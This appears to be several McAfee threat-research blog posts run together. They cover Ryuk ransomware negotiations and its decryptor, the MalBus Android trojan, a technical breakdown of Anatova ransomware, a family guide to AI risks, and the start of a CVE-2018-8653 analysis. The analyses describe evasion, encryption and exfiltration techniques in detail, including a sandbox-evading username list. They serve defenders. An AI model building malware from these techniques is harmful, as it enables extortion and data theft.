The Diamond Model offers a holistic view of an intrusion that is a helpful guideline to shape the direction of intelligence research. By searching for relationships between two elements one can gather new evidence. For instance, by analyzing and reverse engineering a piece of malware one might uncover that a certain server is being used for command and control infrastructure, thus linking capability with infrastructure (as shown below).

Linking Infrastructure and Capability

Alternatively, one might search underground forums to find information on adversaries who sell certain pieces of malware, thus linking an adversary with a capability. For instance, finding the underground forum advertisement of Hermes2.1.

Linking Adversary and Capability

Analysis of Competing Hypotheses

In our earlier publication we explained The Analysis of Competing Hypotheses (ACH), the process of challenging formed hypotheses with research findings.
By following this method, we concluded that the strongest hypothesis is not the one with the most verifying evidence, but the one with the least falsifying evidence.

In order to construct a hypothesis with the least falsifying evidence we welcome research published by our industry peers to dissimilate insights that challenge our hypotheses. When we combined all the evidence with links on the diamond model, we discovered that one essential link wasn’t made, the link between adversary and victim.

Seeking New Insights Between Adversary and Victim

Despite published research, the direct link between adversary and victim remained relatively unexplored. Unlike most cybercrime, ransomware and digital extortion frequently creates a strong social connection between adversary and victim. The adversary has certain needs and views the victim as the means to fulfill those needs. The connection between an adversary and victim often generates valuable insights, especially in cases where (extensive) negotiation take place.

Luckily, one of our NoMoreRansom partners, Coveware, is specialized in ransomware negotiations and has gained valuable insights help us link adversary and victim.

The social connection between Adversary and Victim

Ransom Amounts and Negotiations

By aggregating ransomware negotiation and payment data, Coveware is able to identify strain-specific ransomware trends. With regards to Ryuk, it should be noted that ransom amounts average more than 10x the average, making it the costliest type of ransomware. Coveware also observed that some Ryuk ransoms were highly negotiable, while others were not. The bar-belled negotiation results generated an average ransom payment of $71k, a 60% discount from an average opening ask of $145k.

The bar-belled negotiation outcomes meant that some victims were stonewalled. These victims either lost their data or took on staggering financial risk to pay the ransom. The outcomes also imply that in certain cases the adversary would rather receive infrequent large windfalls (often in excess of 100BTC), while in other cases the adversary was keen to monetize every attack and accept lower amounts to ensure payment. This difference in modus operandi suggests that more than one cyber-criminal group is operating Ryuk ransomware.

Ransom Note and Negotiation Similarities and Differences

Similarities between Bitpaymer and Ryuk ransom notes have been observed before. While it is not uncommon for ransom notes to share similar language, sequences of phrases tend to remain within the same ransomware family. Slight copy+paste modifications are made to the ransom text as a variant is passed along to different groups, but large alterations are rarely made. Below is a comparison of a Bitpaymer initial email (left) and a standard Ryuk initial email (right).

A comparison of a Bitpaymer initial email (left) and a standard Ryuk initial email (right)

The shared language implies that text once unique to a Bitpaymer campaign was borrowed for a Ryuk campaign, possibly by an operator running simultaneous ransom campaigns of both Bitpaymer and Ryuk or the imitation can be considered as the sincerest form of flattery.

Different Initial Email Response May Be Different Adversaries?

A more dramatic scripted communication difference has been observed in the initial email response from Ryuk adversaries. The initial email response is typically identical within ransomware families belonging to the same campaign. When significant differences in length, language, and initial ransom amount appear in the initial email response we are comfortable assuming they belong to unique groups with unique modus operandi. This would mean that Ryuk in being spread by more than one actor group.

Below are two such Ryuk examples:

 

Post Payment Bitcoin Activity

A final indicator that multiple groups are running simultaneous Ryuk campaigns can be observed in the activity of bitcoin after it hits a ransom address. Surprisingly, despite the differences between negotiation outcome and initial communications, Coveware observed little difference between the BTC wallets (blacked out to protect victims) associated with the above cases. Initial comparison showed no meaningful discrepancy in difference between the time of a ransom payment and the time of a corresponding withdraw. Additionally, the distribution of funds upon withdrawal was consistently split between two addresses. Coveware will continue to monitor the funds associated with campaigns for meaningful indicators.

Ryuk Negotiating Profiles

With few exceptions, the rest of the email replies during a Ryuk extortion negotiation are extremely short and blunt. Typical replies and retorts are generally less than 10 written words and often just a single number if the ransom amount is the point of discussion. This correspondence is unique to Ryuk.

One reply did contain quite a remarkable expression; “à la guerre comme à la guerre,” to contextualize the methods and reasons for the cyber criminals’ attacks on western companies. The French expression originates from the seventeenth century and literally translates to “in war as in war” and loosely translates to: “In Harsh times one has to do with what’s available”. The striking thing about this expression is that is prominently featured in volume 30 of the collected works of the Soviet Revolutionary leader Vladimir Lenin. Lenin uses the expression to describe the struggle of his people during the war against western capitalism.

This concept of “The capitalistic West versus the Poor east” is actually something McAfee ATR sees quite often expressed by cyber criminals from some of the Post-Soviet republics. This expression may be a clear indicator of the origin and cultural view of the criminals behind Ryuk.

Ryuk poses existential risk to certain industries

Even though the average ransom discounts of Ryuk are large (~60%), the absolute level of the ransom is extreme. Accordingly, we have seen evidence that links ransom demands to the size of the network footprint of the victim company. However, this doesn’t mean that the ransom demand correlates to the victims actual operational and financial size.

Companies in the IT Hosting and the Freight and Logistics industries have been particularly susceptible to this discrepancy. Coveware has assisted at least 3 companies that have had to unwind their business when an affordable ransom amount, could not be reached. Typically, downtime costs are 10x the ransom amount, but in these industries downtime costs can be particularly extreme.

IT Hosting companies are of note as the size and number of their servers can make them appear like a large organization. Unfortunately, the business of hosting involves high fixed costs, low operating margins, and zero tolerance of downtime by end clients.  Hosting companies that get attacked typically have a few hours to restore service before their clients drop them for alternatives. Moreover, these companies suffer irreparable harm to their reputations, and may trigger SLA breaches that leave them exposed to liability.  The inability to pay a six-figure ransom has caused multiple hosting companies to shut down.

Freight and Logistics firms are also acutely exposed. These firms also present like larger firms given the volume of data they move and their network footprint. Additionally, attacks against Freight and Logistics firms can cause immediate supply chain issues for the victims’ end clients, who are subsequently forced to route through other service providers. Similar to IT Hosting, Freight and Logistics firms have low operating margins and end clients with little tolerance for service interruptions. The inability to pay or negotiate a large ransom has materially impacted several firms in this industry.

Ryuk Decryptor findings and issues

When victims do pay the exorbitant ransom amount, the criminals will provide a decryptor to unlock a their files. This decryptor is actually framework that needs to be loaded with a victim’s private RSA key, provided by the criminals, in order to decrypt. Ensuring that the provided decryptor will only work for this specific victim. This setup allows the criminals to quickly load a victim’s key in the framework and offer a custom decryptor with minimal code change while the underlaying framework remains the same.

From Coveware’s experience we have learned that the decryption process is quite cumbersome and full of possible fatal errors. Luckily Coveware was able to share the Ryuk decryptor with McAfee ATR in order to take a closer look at the issues and level of sophistication of the decryptor.

Once launched the first thing the decryptor does is to search the HKEY_CURRENT_USER Hive for a value pair named “svchos” in the path “SOFTWARE\Microsoft\Windows\CurrentVersion\Run” and delete the specific entry. This removes the persistence of the malware. Afterwards it will reboot the system and remove any remaining Ryuk malware still receding on the system.

Deleting the “svchos” value from the registry.

Once rebooted the user needs to run the tool again and the decryptor will provide two options to decrypt.

  • Decryption per file
  • Automatic decryption

The main interface of the Ryuk decryptor with the different menu options.

HERMES File Marker

During the decryption process we have found that the decryptor searches for the known file marker string HERMES which is located in the encrypted file.

The HERMES marker clearly visible within the file

The fact that Ryuk ransomware adds HERMES filemarker string was already known, but discovering this specific check routine in the decryptor strengthens the hypotheses that Ryuk is a slightly modified version of Hermes2.1 ransomware kit that is sold online even more.

Decryptor Issues

While examining the decryptor we were astonished by the lack of sophistication and the amount of errors that resided within the code. Some of the most prominent issues were:

  • If there is a space in the Windows file path the decryptor will fail the decryption process.
  • If there is a quotation mark (“) in the file path the decryptor will report an error that it cannot find the specific file.
  • The decryptor uses the “GetVersionExW” function to determine the windows version, from Windows 8.1. the value returned by this API has changed and the decryptor isn’t designed to handle this value.
  • The decryptor doesn’t remove the .RYUK extension and replace it with the original extension. So, there is no way the name of the file can give an indication towards the type of the file, something that can be extremely labor intensive for enterprise victims.
  • When choosing the manual option in the decryptor, the user has to supply a path of the specific file or choose “0” to finish. However, choosing a “0” will put the decryptor into an infinite loop.

Looking at the decryptor, it is very worrisome to see that the criminals behind Ryuk can get away with such bad programming. It shows a clear lack of empathy towards their victims and the absence of solid coding skills. Victims who do pay the exorbitant ransom demand are far from in the clear. The decryptor offered by the criminals has a very high risk of malfunctioning, resulting in permanent damage to their precious files. Victims should always make an exact copy of the encrypted hard disk before trying to use the decryptor.

Call to action in piecing the different parts together

By combining all the fresh insights with the information that was already discovered by ourselves and industry peers we can start defining our leading hypotheses around Ryuk. Based on this hypothesis, we will actively look for falsifying evidence. We encourage the security community to participate in this process. We realize that only by collaboration can we piece the different parts of the Ryuk puzzle together.

By now it should be without question that involvement of the DPRK is the least likely hypothesis. Our leading Hypothesis on Ryuk until proven otherwise is;

Ryuk is a direct descendant from Hermes2.1 with slight modifications, based on the code overlap in the ransomware as well as the decryptor. Ryuk is not designed to be used in a largescale corporate environment, based on all the scalability issues in the decryptor. At this moment there are several actors or actor-groups spreading Ryuk, based on the extortion modus operandi and different communications with the victims. The actors or actor-groups behind Ryuk have a relationship with one of the Post-Soviet republics, based on the Russian found in one of the encrypted files and the cultural references observed in the negotiations. The actors behind Ryuk most likely have an affiliation or relationship with the actors behind Trickbot and, based on their TTP, are better skilled at exploitation and lateral movement than pure Ransomware development.

Conclusion

In the last seven months Ryuk has proven to be a highly profitable form of ransomware, despite the poor programming behind it and its decryptor. The criminals have proven to be ruthless and several of their victims were forced to wind down their businesses after they were unable to afford the exorbitant ransom.

When a company does give in to the high demands it is extra painful to see a situation occur where they are permanently unable to recover their files due to the faulty decryptor.

A solid data loss prevention strategy still remains the best advice against all forms of ransomware, for general prevention advice please visit NoMoreRansom. Always seek professional assistance when you are faced with a targeted ransomware attack such as Ryuk.

The post Ryuk, Exploring the Human Connection appeared first on McAfee Blogs.

MalBus: Popular South Korean Bus App Series in Google Play Found Dropping Malware After 5 Years of Development

McAfee’s Mobile Research team recently learned of a new malicious Android application masquerading as a plugin for a transportation application series developed by a South Korean developer. The series provides a range of information for each region of South Korea, such as bus stop locations, bus arrival times and so on. There are a total of four apps in the series, with three of them available from Google Play since 2013 and the other from around 2017. Currently, all four apps have been removed from Google Play while the fake plugin itself was never uploaded to the store. While analyzing the fake plugin, we were looking for initial downloaders and additional payloads – we discovered one specific version of each app in the series (uploaded at the same date) which was dropping malware onto the devices on which they were installed, explaining their removal from Google Play after 5 years of development.

Figure 1. Cached Google Play page of Daegu Bus application, one of the apps in series

When the malicious transportation app is installed, it downloads an additional payload from hacked web servers which includes the fake plugin we originally acquired. After the fake plugin is downloaded and installed, it does something completely different – it acts as a plugin of the transportation application and installs a trojan on the device, trying to phish users to input their Google account password and completely take control of the device. What is interesting is that the malware uses the native library to take over the device and also deletes the library to hide from detection. It uses names of popular South Korean services like Naver, KakaoTalk, Daum and SKT. According to our telemetry data, the number of infected devices was quite low, suggesting that the final payload was installed to only a small group of targets.

The Campaign

The following diagram explains the overall flow from malware distribution to device infection.

Figure 2. Device infection process

When the malicious version of the transportation app is installed, it checks whether the fake plugin is already installed and, if not, downloads from the server and installs it. After that, it downloads and executes an additional native trojan binary which is similar to the trojan which is dropped by the fake plugin. After everything is done, it connects with the C2 servers and handles received commands.

Initial Downloader

The following table shows information about the malicious version of each transportation app in the series. As the Google Play number of install stats shows, these apps have been downloaded on many devices.

Unlike the clean version of the app, the malicious version contains a native library named “libAudio3.0.so”.

Figure 3. Transportation app version with malicious native library embedded

In the BaseMainActivity class of the app, it loads the malicious library and calls startUpdate() and updateApplication().

Figure 4. Malicious library being loaded and executed in the app

startUpdate() checks whether the app is correctly installed by checking for the existence of a specific flag file named “background.png” and whether the fake plugin is installed already. If the device is not already infected, the fake plugin is downloaded from a hacked web server and installed after displaying a toast message to the victim. updateApplication() downloads a native binary from the same hacked server and dynamically loads it. The downloaded file (saved as libSound1.1.so) is then deleted after being loaded into memory and, finally, it executes an exported function which acts as a trojan. As previously explained, this file is similar to the file dropped by the fake plugin which is discussed later in this post.

Figure 5 Additional payload download servers

Fake Plugin

The fake plugin is downloaded from a hacked web server with file extension “.mov” to look like a media file. When it is installed and executed, it displays a toast message saying the plugin was successfully installed (in Korean) and calls a native function named playMovie(). The icon for the fake plugin soon disappears from the screen. The native function implemented in LibMovie.so, which is stored inside the asset folder, drops a malicious trojan to the current running app’s directory masquerading as libpng.2.1.so file. The dropped trojan is originally embedded in the LibMovie.so xor’ed, which is decoded at runtime. After giving permissions, the address of the exported function “Libfunc” in the dropped trojan is dynamically retrieved using dlsym(). The dropped binary in the filesystem is deleted to avoid detection and finally Libfunc is executed.

Figure 6 Toast message when malware is installed

In the other forked process, it tries to access the “naver.property” file on an installed SD Card, if there is one, and if it succeeds, it tries starting “.KaKaoTalk” activity which displays a Google phishing page (more on that in the next section) . The overall flow of the dropper is explained in the following diagram:

Figure 7. Execution flow of the dropper

Following is a snippet of a manifest file showing that “.KaKaoTalk” activity is exported.

Figure 8. Android Manifest defining “.KaKaoTalk” activity as exported

Phishing in JavaScript

KakaoTalk class opens a local HTML file, javapage.html, with the user’s email address registered on the infected device automatically set to log into their account.

Figure 9. KakaoTalk class loads malicious local html file

The victim’s email address is set to the local page through a JavaScript function setEmailAddress after the page is finished loading. A fake Korean Google login website is displayed:

Figure 10. The malicious JavaScript shows crafted Google login page with user account

We found the following attempts of exploitation of Google legitimate services by the malware author:

  • Steal victim’s Google account and password
  • Request password recovery for a specific account
  • Set recovery email address when creating new Google account

An interesting element of the phishing attack is that the malware authors tried to set their own email as the recovery address on Google’s legitimate services. For example, when a user clicks on the new Google account creation link in the phishing page, the crafted link is opened with the malware author’s email address as a parameter of RecoveryEmailAddress.

Figure 11. The crafted JavaScript attempts to set recovery email address for new Google account creation.

Fortunately for end users, none of the above malicious attempts are successful. The parameter with the malware author’s email address is simply ignored at the account creation stage.

Trojan

In addition to the Google phishing page, when “Libfunc” function of the trojan (dropped by the fake plugin or downloaded from the server) is executed, the mobile phone is totally compromised. It receives commands from the following hardcoded list of C2 servers. The main functionality of the trojan is implemented in a function called “doMainProc()”. Please note that there are a few variants of the trojanwith different functionality but, overall, they are pretty much the same.

Figure 12. Hardcoded list of C2 servers

The geolocation of hardcoded C2 servers lookslike the following:

Figure 13. Location of C2 Servers

Inside doMainProc(), the trojan receives commands from the C2 server and calls appropriate handlers. Part of the switch block below gives us an idea of what type of commands this trojan supports.

Figure 14. Subset of command handlers implemented in the dropped trojan.

As you can see, it has all the functionality that a normal trojan has. Downloading, uploading and deleting files on the device, leaking information to a remote server and so on. The following table explains supported C2 commands:

Figure 15. C2 Commands

Before entering the command handling loop, the trojan does some initialization, like sending device information files to the server and checking the UID of the device. Only after the UID checking returns a 1 does it enter the loop.

Figure 16 Servers connected before entering command loop

Among these commands, directory indexing in particular is important. The directory structure is saved in a file named “kakao.property” and while indexing the given path in the user device, it checks the file with specific keywords and if it matches, uploads the file to the remote upload server. These keywords are Korean and its translated English version is as per the following table:

Figure 17 Search file keywords

By looking at the keywords we can anticipate that the malware authors were looking for files related to the military, politics and so on. These files are uploaded to a separate server.

Figure 18 Keyword matching file upload server

Conclusion

Applications can easily trick users into installing them before then leaking sensitive information. Also, it is not uncommon to see malware sneaking onto the official Google Play store, making it hard for users to protect their devices. This malware has not been written for ordinary phishing attempts, but rather very targeted attacks, searching the victim’s devices for files related to the military and politics, likely trying to leak confidential information. Users should always install applications that they can fully trust even though they are downloaded from trusted sources.

McAfee Mobile Security detects this threat as Android/MalBus and alerts mobile users if it is present, while protecting them from any data loss. For more information about McAfee Mobile Security, visit https://www.mcafeemobilesecurity.com.

Hashes (SHA-256)

Initial Downloader (APK)
• 19162b063503105fdc1899f8f653b42d1ff4fcfcdf261f04467fad5f563c0270
• bed3e665d2b5fd53aab19b8a62035a5d9b169817adca8dfb158e3baf71140ceb
• 3252fbcee2d1aff76a9f18b858231adb741d4dc07e803f640dcbbab96db240f9
• e71dc11e8609f6fd84b7af78486b05a6f7a2c75ed49a46026e463e9f86877801

Fake Plugin (APK)
• ecb6603a8cd1354c9be236a3c3e7bf498576ee71f7c5d0a810cb77e1138139ec
• b8b5d82eb25815dd3685630af9e9b0938bccecb3a89ce0ad94324b12d25983f0

Trojan (additional payload)
• b9d9b2e39247744723f72f63888deb191eafa3ffa137a903a474eda5c0c335cf
• 12518eaa24d405debd014863112a3c00a652f3416df27c424310520a8f55b2ec
• 91f8c1f11227ee1d71f096fd97501c17a1361d71b81c3e16bcdabad52bfa5d9f
• 20e6391cf3598a517467cfbc5d327a7bb1248313983cba2b56fd01f8e88bb6b9

The post MalBus: Popular South Korean Bus App Series in Google Play Found Dropping Malware After 5 Years of Development appeared first on McAfee Blogs.

Happy New Year 2019! Anatova is here!

During our continuous hunt for new threats, we discovered a new ransomware family we call Anatova (based on the name of the ransom note). Anatova was discovered in a private peer-to-peer (p2p) network. After initial analysis, and making sure that our customers are protected, we decided to make this discovery public.

Our telemetry showed that although Anatova is relatively new, we already discovered a widespread detection of the thread around the globe

We believe that Anatova can become a serious threat since the code is prepared for modular extension.

Additionally, it will also check if network-shares are connected and will encrypt the files on these shares too. The developers/actors behind Anatova are, according our assessment, skilled malware authors. We draw this conclusion as each sample has its own unique key, as well as other functions we will describe, which we do not often see in ransomware families.

This post will explain the technical details of Anatova, as well as some interesting facts about this new ransomware family.

For the analysis we used this particular hash: 170fb7438316f7335f34fa1a431afc1676a786f1ad9dee63d78c3f5efd3a0ac0

The main goal of Anatova is to cipher all the files that it can before requesting payment from the victim.

 

Anatova Overview

Anatova usually uses the icon of a game or application to try and fool the user into downloading it. It has a manifest to request admin rights.

Information about the binary

The Anatova ransomware is a 64bits application with the compile date of January 1st, 2019. The file size of this particular hash is 307kb, but it can change due to the amount of resources used in the sample. If we remove all these resources, the size is 32kb; a very small program with a powerful mechanism inside.

Anatova has some strong protection techniques against static analysis which makes things slightly tricky:

  • Most of the strings are encrypted (Unicode and Ascii), using different keys to decrypt them, embedded in the executable.
  • 90% of the calls are dynamic;, they only use the following non-suspicious Windows API’s and standard library of C- programming language: GetModuleHandleW, LoadLibraryW, GetProcAddress, ExitProcess and MessageBoxA.
  • When we open the binary in IDA Pro (included the latest version of IDA) the functions are bad detected, and they finish being processed after 3 opcodes. We are not sure if this is a bug in IDA Pro or perhaps the malware authors created something to cause this on purpose (which we doubt).

Problem in IDA Pro 7.2 last version

 

Entry Vector

At the moment we don´t know all entry vectors that Anatova is using, or will be using, in the near future. Our initial finding location was in private p2p.

The goal of Anatova, as with other ransomware families, is to encrypt all or many files on an infected system and insist on payment to unlock them. The actor(s) demand a ransom payment in cryptocurrency of 10 DASH – currently valued at around $700 USD, a quite high amount compared to other ransomware families.

 

In-depth highlights of version 1.0

Since this is a novel family, we didn’t find any version number inside the code, but let’s call this version 1.0

The first action that the malware executes is to get the module handle of the library “kernel32.dll” and get 29 functions from it using the function “GetProcAddress”.

Get kernel32 functions after decrypt strings

If the malware can´t get the module handle of kernel32, or some of the functions can´t be found, it will quit without executing any encryption.

Later, the malware will try to create a mutex with a hardcoded name (in this case: 6a8c9937zFIwHPZ309UZMZYVnwScPB2pR2MEx5SY7B1xgbruoO) but the mutex name changes in each sample. If the mutex is created, and gets the handle, it will call the “GetLastError” function and look if the last error is ERROR_ALREADY_EXISTS or ERROR_ACCESS_DENIED. Both errors mean that a previous instance of this mutex object exists. If that is the case, the malware will enter in a flow of cleaning memory, that we will explain later in this post, and finish.

Check mutex

After this check, Anatova will get some functions from the library “advapi32.dll”, “Crypt32.dll” and “Shell32.dll” using the same procedure as in the kernel case. All text is encrypted and decrypted one per one, get the function, free the memory, and continue with the next one.

If it fails in getting some of these modules or some of the functions it needs, it will go to the flow of cleaning tool and exit.

One interesting function we discovered was that Anatova will retrieve the username of the logged in and/or active user and compare with a list of names encrypted. If one of the names is detected, it will go to the cleaning flow procedure and exit.

The list of users searched are:

  • LaVirulera
  • tester
  • Tester
  • analyst
  • Analyst
  • lab
  • Lab
  • Malware
  • malware

Some analysts or virtual machines/sandboxes are using these default usernames in their setup, meaning that the ransomware will not work on these machines/sandboxes.

After this user-check, Anatova will check the language of the system. When we say language, we mean the system language. When a user installs the Windows OS, they choose a language to install it with (though later the user could install a different language). Anatova checks for the first installed language on the system to ensure that a user cannot install one of these blacklisted languages to avoid encryption of the files.

The list of the countries that Anatova doesn’t affect are:

  • All CIS countries
  • Syria
  • Egypt
  • Morocco
  • Iraq
  • India

It’s quite normal to see the CIS countries being excluded from execution and often an indicator that the authors might be originating from one of these countries. In this case it was surprising to see the other countries being mentioned. We do not have a clear hypothesis on why these countries in particular are excluded.

Check system language

After the language check, Anatova looks for a flag that, in all samples we looked at, has the value of 0, but if this flag would change to the value of 1 (the current malware samples never change that value), it will load two DLLs with the names (after decryption) of “extra1.dll” and “extra2.dll”. This might indicate that Anatova is prepared to be modular or to be extended with more functions in the near future.

Load extra modules

After this, the malware enumerates all processes in the system and compares them with a large list including, for example “steam.exe”, “sqlserver.exe”, etc. If some of these processes are discovered, the malware will open them and terminate them. This action is typical of ransomware that attempts to unlock files that later will be encrypted, such as database files, game files, Office related files, etc.

The next action is to create an RSA Pair of Keys using the crypto API that will cipher all strings. This function is the same as in other ransomware families, such as GandCrab or Crysis, for example. It makes sure that the keys that will be used, are per user and per execution.

If the malware can´t create the keys, it will go to the clean flow and exit.

After this, Anatova will make a random key of 32 bits and another value of 8 bytes using the function of the crypto API “CryptGenRandom” to encrypt using the Salsa20 algorithm and the private previous blob key in runtime.

During the encryption process of the files, it will decrypt the master RSA public key of the sample of 2 layers of crypto, the first one is a XOR with the value 0x55 and the second one is to decrypt it using a hardcoded key and IV in the sample using the Salsa20 algorithm.

Decrypt from first layer the master RSA public key of sample

After this, it will import the public key and with it, will encrypt the Salsa20 key and IV used to encrypt the private RSA key in runtime.

The next step is to prepare a buffer of memory and with all of the info encrypted (Salsa20 key, Salsa20 IV, and private RSA key). It makes a big string in BASE64 using the function “CryptBinaryToStringA”. The ransomware will later clean the computer’s memory of the key, IV, and private RSA key values, to prevent anyone dumping this information from memory and creating a decrypter.

This BASE64 string will be written later in the ransom note. Only the malware authors can decrypt the Salsa20 key and IV and the private RSA key that the user would need  to decrypt the files.

If this does not work, Anatova will delete itself, enter in the clean flow and exit.

When the keys are encrypted in the memory buffer, Anatova will enumerate all logic units and will search for all existing instances of the type DRIVE_FIXED (a normal hard disk for example) or DRIVE_REMOTE (for remote network shares that are mounted). Anatova will try to encrypt the files on each of those locations. This means that one corporate victim can cause a major incident when files on network-shares are being encrypted.

Check all logic units

For each mounted drive – hard disk or remote share, Anatova will get all files and folders. It will later check if it is a folder and, if it is, will check that the folder name doesn’t have the name of “.” and “..”, to avoid the same directory and the previous directory.

In the list of gathered folder names, Anatova checks against a list of blacklisted names such as “Windows”, “Program Files”, “Program Files(x86)”, etc. This is usual in many ransomware families, because the authors want to avoid destroying the Operating System, instead targeting the high value files. Anatova does the same for file-extensions .exe, .dll and .sys that are critical for the Operating system as well.

Check file name and extension

If this check is passed, Anatova will open the file and get its size, comparing it to1 MB. Anatova will only encrypt files1 MB or smaller to avoid lost time with big files; it wants to encrypt fast. By setting pointers at the end of the encrypted files, Anatova makes sure that it does not encrypt files that are already encrypted.

Next, Anatova will create a random value of 32bits as a key for the Salsa20 algorithm and another value of 8 bytes that will be used as IV for Salsa20.

With these values, it will read all files in memory or files with a maximum size of 1 MB and encrypt this information with the key and IV using the Salsa20 algorithm (this is very popular lately because it is a very quick algorithm and has open source implementations).

Encryption of files function

It will import the RSA public key created in runtime and with it, encrypt the key and IV used to encrypt the file. Next, it will write the encrypted content in the same file from the beginning of the file and then it will set the pointer to the end of the file and write the next things:

  • The block encrypted of the Salsa20 key is ciphered with the public RSA key.
  • The block encrypted of the Salsa20 IV is ciphered with the public RSA key.
  • The size of the file is smaller than 1 MB.
  • A special hardcoded value for each sample that will appear in the ransom note.
  • A special hardcoded value in the sample that is the mark of infection checked before to avoid encrypting the same file twice.

When this is completed, Anatova will write a ransom note in the same folder. So, if Anatova can´t encrypt at least something in a folder, it won’t create a ransom note in this folder, only in the affected folders.

This behavior is different from other ransomware families that write a ransom note in all folders.

The ransom note text is fully encrypted in the binary, except for the mail addresses to contact the author(s) and the dash address to pay.

Anatova doesn’t overwrite the ransom note if it already exists in a folder in order to save time.The ransom note contains the base64 block with all encrypted information that is needed to decrypt the files in a block that start with the string “—-KEY—-”, as well asthe id number.

Responding victims are then allowed to decrypt one .jpg file of maximum size 200kb free of charge, as proof that they the decrypted files can be retrieved.

Example of ransom note

When all this is done, Anatova will destroy the Volume Shadow copies 10 times in very quick succession. Like most ransomware families, it is using the vssadmin program, which required admin rights, to run and delete the volume shadow copies.

Delete of Shadow Volumes 10 times

Finally, when all steps are completed, the ransomware will follow the flow of cleaning code, as described earlier, mainly to prevent dumping memory code that could assist in creating a decryption tool.

COVERAGE

Customers of McAfee gateway and endpoint products are protected against this version. Detection names include Ransom-Anatova![partialhash].

INDICATORS OF COMPROMISE

The samples use the following MITRE ATT&CK™ techniques:

  • Execution through API
  • Application processes discovery
  • File and directory discovery: to search files to encrypt
  • Encrypt files
  • Process discovery: enumerating all processes on the endpoint to kill some special ones
  • Create files
  • Elevation of privileges: request it to run.
  • Create mutants

 

Hashes:

2a0da563f5b88c4d630aefbcd212a35e

366770ebfd096b69e5017a3e33577a94

9d844d5480eec1715b18e3f6472618aa

61139db0bbe4937cd1afc0b818049891

596ebe227dcd03863e0a740b6c605924

 

The post Happy New Year 2019! Anatova is here! appeared first on McAfee Blogs.

AI & Your Family: The Wows and Potential Risks

artificial intelligenceAm I the only one? When I hear or see the word Artificial Intelligence (AI), my mind instantly defaults to images from sci-fi movies I’ve seen like I, Robot, Matrix, and Ex Machina. There’s always been a futuristic element — and self-imposed distance — between AI and myself.

But AI is anything but futuristic or distant. AI is here, and it’s now. And, we’re using it in ways we may not even realize.

AI has been woven throughout our lives for years in various expressions of technology. AI is in our homes, workplaces, and our hands every day via our smartphones.

Just a few everyday examples of AI:

  • Cell phones with built-in smart assistants
  • Toys that listen and respond to children
  • Social networks that determine what content you see
  • Social networking apps with fun filters
  • GPS apps that help you get where you need to go
  • Movie apps that predict what show you’d enjoy next
  • Music apps that curate playlists that echo your taste
  • Video games that deploy bots to play against you
  • Advertisers who follow you online with targeted ads
  • Refrigerators that alert you when food is about to expire
  • Home assistants that carry out voice commands
  • Flights you take that operate via an AI autopilot

The Technology

While AI sounds a little intimidating, it’s not when you break it down. AI is technology that can be programmed to accomplish a specific set of goals without assistance. In short, it’s a computer’s ability to be predictive — to process data, evaluate it, and take action.

AI is being implemented in education, business, manufacturing, retail, transportation, and just about any other sector of industry and culture you can imagine. It’s the smarter, faster, more profitable way to accomplish manual tasks.

An there’s tons of AI-generated good going on. Instagram — the #2 most popular social network — is now using AI technology to detect and combat cyberbullying on in both comments and photos.

No doubt, AI is having a significant impact on everyday life and is positioned to transform the future.

Still, there are concerns. The self-driving cars. The robots that malfunction. The potential jobs lost to AI robots.

So, as quickly as this popular new technology is being applied, now is a great time to talk with your family about both the exciting potential of AI and the risks that may come with it.

Talking points for families

Fake videos, images. AI is making it easier for people to face swap within images and videos. A desktop application called FakeApp allows users to seamlessly swap faces and share fake videos and images. This has led to the rise in “deep fake” videos that appear remarkably realistic (many of which go viral). Tip: Talk to your family about the power of AI technology and the responsibility and critical thinking they must exercise as they consume and share online content.

Privacy breaches. Following the Cambridge Analytica/Facebook scandal of 2018 that allegedly used AI technology unethically to collect Facebook user data, we’re reminded of those out to gather our private (and public) information for financial or political gain. Tip: Discuss locking down privacy settings on social networks and encourage your kids to be hyper mindful about the information they share in the public feed. That information includes liking and commenting on other content — all of which AI technology can piece together into a broader digital picture for misuse.

Cybercrime. As outlined in McAfee’s 2019 Threats Prediction Report, AI technology will likely allow hackers more ease to bypass security measures on networks undetected. This can lead to data breaches, malware attacks, ransomware, and other criminal activity. Additionally, AI-generated phishing emails are scamming people into handing over sensitive data. Tip: Bogus emails can be highly personalized and trick intelligent users into clicking malicious links. Discuss the sophistication of the AI-related scams and warn your family to think about every click — even those from friends.

IoT security. With homes becoming “smarter” and equipped with AI-powered IoT products, the opportunity for hackers to get into these devices to steal sensitive data is growing. According to McAfee’s Threat Prediction Report, voice-activated assistants are especially vulnerable as a point-of-entry for hackers. Also at risk, say security experts, are routers, smartphones, and tablets. Tip: Be sure to keep all devices updated. Secure all of your connected devices and your home internet at its source — the network. Avoid routers that come with your ISP (Internet Security Provider) since they are often less secure. And, be sure to change the default password and secure your primary network and guest network with strong passwords.

The post AI & Your Family: The Wows and Potential Risks appeared first on McAfee Blogs.

IE Scripting Flaw Still a Threat to Unpatched Systems: Analyzing CVE-2018-8653

Microsoft recently patched a critical flaw in Internet Explorer’s scripting engine that could lead to remote code execution. The vulnerability is being exploited in the wild and was originally reported by a researcher from Google’s Threat Analysis Group. Microsoft released an out-of-band patch to fix the vulnerability before the normal patch cycle. McAfee products received an update to detect the threat shortly after the patch was released.

A remote attacker can target Internet Explorer Versions 9 through 11 via a specially crafted website, while a local attacker on a rogue network could also target the Web Proxy Auto-Discovery service, which uses the same vulnerable scripting engine (jscript.dll). Microsoft Edge is not affected; however, other Windows applications that include the scripting engine might be vulnerable until the security patch from Microsoft is applied.

Context

Vulnerabilities targeting Internet Explorer that can be triggered either remotely or locally are prime tools for cybercriminals to compromise many unpatched computers. That is why criminals usually integrate those vulnerabilities into exploit kits, which propagate malware or conduct other nefarious activities against compromised hosts. The threat of exploit kits is one reason to track this type of vulnerability and to ensure all security patches are deployed in a timely manner. In 2018, more than 100 memory corruption vulnerabilities were found in a Microsoft scripting engine (either for Internet Explorer or Edge). See the MITRE website for more details. (For defense-in-depth, products such as McAfee Endpoint Security or McAfee Host Intrusion Prevention can detect and eradicate such threats until patches can be applied.)

Once a CVE ID is released, cybercriminals can take as little as a few weeks (or in some cases days) to integrate it into their exploit kit. For example, CVE-2018-8174 was initially reported to Microsoft in late April by two teams of threat researchers who had observed its exploitation in the wild. Microsoft published an advisory within a week, in early May. Meanwhile, the researchers published their security analysis of the exploit. Only two weeks later a proof-of-concept exploit was publicly released. In the next couple of weeks exploit kits RIG and Magnitude integrated their weaponized versions of the exploit. (A more detailed timeline can be found here.)

It took less than a month for cybercriminals to weaponize the vulnerability initially disclosed by Microsoft; therefore, it is critical to understand the threat posed by these attack vectors, and to ensure counter measures are in place to stop the threat before it can do any damage.

Technical details

